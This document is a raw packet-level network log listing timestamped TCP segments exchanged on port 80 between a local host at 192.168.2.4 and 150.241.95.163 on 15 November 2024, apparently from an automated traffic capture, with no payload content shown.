Nov 15, 2024 10:28:29.746959925 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.746998072 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.747044086 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.747055054 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.747066975 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.747077942 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.747088909 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.747097969 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.747104883 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.747123003 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.747143984 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.747416019 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.747426987 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.747437954 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.747467995 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.790175915 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.790220976 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.790242910 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.833056927 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.868851900 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.869008064 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.869024992 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.869036913 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.869048119 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.869057894 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.869069099 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.869076967 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.869088888 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.869097948 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.869107962 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.869137049 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.869173050 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.869185925 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.869193077 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.869201899 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.869213104 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.869223118 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.869234085 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.869266987 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.869419098 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.869431019 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.869441032 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.869467974 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.869497061 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.869566917 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.869577885 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.869587898 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.869599104 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.869611979 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.869616985 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.869637012 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.869663000 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.869672060 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.869699955 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.869760036 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.869771004 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.869795084 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.869992018 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.870009899 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.870021105 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.870033979 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.870063066 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.870529890 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.870541096 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.870548010 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.870604038 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.870615959 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.870625973 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.870661020 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.870749950 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.870765924 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.870776892 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.870785952 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.870795012 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.870805979 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.870817900 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.870846987 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.870887995 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.870898962 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.870943069 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.870968103 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.870981932 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.870995045 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.871018887 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.871037960 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.871049881 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.871078968 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.910703897 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.910870075 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.911463976 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.958039999 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.992400885 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.992427111 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.992436886 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.992501974 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.992512941 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.992523909 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.992536068 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.992546082 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.992580891 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.992614985 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.992631912 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.992646933 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.992669106 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.992693901 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.992857933 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.992867947 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.992877960 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.992904902 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.992968082 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.992979050 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.992990017 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.993011951 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.993045092 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.993102074 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.993112087 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.993122101 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.993133068 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.993144989 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.993153095 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.993184090 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.993588924 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.993599892 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.993611097 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.993630886 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.993660927 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.993813038 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.993824959 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.993834972 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.993856907 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.993946075 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.993957043 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.993974924 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.993985891 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.993993998 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.994004011 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.994038105 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.994060993 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.994430065 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.994493008 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.994503975 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.994537115 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.994647026 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.994657040 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.994689941 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.994757891 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.994769096 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.994806051 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.995007992 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.995018959 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.995029926 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.995059967 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.995100021 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.995203018 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.995213985 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.995224953 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.995235920 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.995282888 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.995305061 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.036109924 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.090409040 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.090423107 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.090434074 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.090480089 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.115797997 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.115814924 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.115829945 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.115859985 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.115890026 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.115922928 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.115936995 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.115951061 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.115964890 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.115979910 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.115997076 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.116003990 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.116018057 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.116027117 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.116050959 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.116159916 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.116183043 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.116197109 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.116209030 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.116246939 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.116276979 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.116291046 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.116306067 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.116324902 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.116342068 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.116354942 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.116364956 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.116379023 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.116430998 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.116590023 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.116611958 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.116624117 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.116647959 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.116986036 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.117000103 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.117024899 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.117032051 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.117046118 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.117059946 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.117069960 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.117100954 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.117216110 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.117227077 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.117238045 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.117264032 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.117603064 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.117656946 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.117664099 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.117676020 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.117711067 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.117739916 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.117753029 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.117785931 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.117796898 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.117804050 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.117815018 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.117846966 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.117904902 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.117957115 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.117985964 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.117996931 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.118026018 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.118309975 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.118320942 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.118330956 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.118351936 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.118417978 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.118462086 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.118469954 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.118483067 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.118520021 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.118525028 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.120699883 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.120744944 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.120793104 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.161482096 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.213426113 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.213448048 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.213460922 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.213541031 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.239011049 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.239077091 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.239131927 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.239144087 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.239155054 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.239173889 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.239183903 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.239217043 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.239264965 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.239276886 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.239288092 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.239298105 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.239305973 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.239310026 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.239332914 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.239346981 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.239350080 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.239408016 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.239418030 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.239428997 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.239442110 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.239459991 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.239521027 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.239531994 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.239542961 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.239553928 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.239576101 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.239598989 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.239636898 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.239712954 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.239723921 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.239748001 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.239761114 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.239772081 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.239800930 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.240263939 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.240283966 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.240294933 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.240305901 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.240307093 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.240334988 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.240473986 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.240484953 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.240495920 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.240509033 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.240530014 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.240694046 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.240756035 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.240767002 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.240789890 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.240850925 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.240885019 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.240905046 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.240916967 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.240950108 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.241060019 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.241070986 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.241081953 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.241092920 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.241105080 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.241127968 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.241137981 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.241147995 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.241189957 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.241576910 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.241595984 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.241606951 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.241628885 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.241976976 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.241995096 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.242006063 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.242016077 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.242017031 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.242029905 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.242038012 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.242070913 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.282830000 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.282867908 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.282880068 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.282973051 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.336842060 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.336857080 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.336868048 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.336913109 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.363046885 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.363135099 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.363147974 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.363159895 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.363169909 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.363181114 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.363198996 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.363210917 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.363210917 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.363212109 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.363221884 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.363231897 CET	49736	80	192.168.2.4	150.241.95.163
